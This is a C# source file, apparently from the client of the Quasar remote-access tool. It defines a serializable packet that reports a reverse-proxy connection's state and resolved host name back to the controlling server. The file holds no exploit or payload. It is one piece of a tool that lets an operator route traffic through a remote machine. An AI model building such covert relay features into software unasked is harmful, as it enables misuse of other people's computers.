Quasar/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs

53 lines
1.4 KiB
C#
Raw Normal View History

using System;
using xClient.Core.Networking;
2015-05-10 17:02:10 +00:00
using xClient.Core.Packets;
namespace xClient.Core.ReverseProxy.Packets
{
[Serializable]
2015-05-10 17:02:10 +00:00
public class ReverseProxyConnectResponse : IPacket
{
public int ConnectionId { get; set; }
public bool IsConnected { get; set; }
public long LocalEndPoint { get; set; }
public int LocalPort { get; set; }
public string HostName { get; set; }
2015-05-10 17:02:10 +00:00
public ReverseProxyConnectResponse()
{
}
public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort, string TargetServer)
2015-05-10 17:02:10 +00:00
{
this.ConnectionId = connectionId;
this.IsConnected = isConnected;
this.LocalEndPoint = localEndPoint;
this.LocalPort = localPort;
this.HostName = "";
if (isConnected)
{
try
{
//resolve the HostName of the Server
System.Net.IPHostEntry entry = System.Net.Dns.GetHostEntry(TargetServer);
if (entry != null && !String.IsNullOrEmpty(entry.HostName))
{
HostName = entry.HostName;
}
}
catch { HostName = ""; }
}
2015-05-10 17:02:10 +00:00
}
public void Execute(Client client)
{
client.Send(this);
2015-05-10 17:02:10 +00:00
}
}
}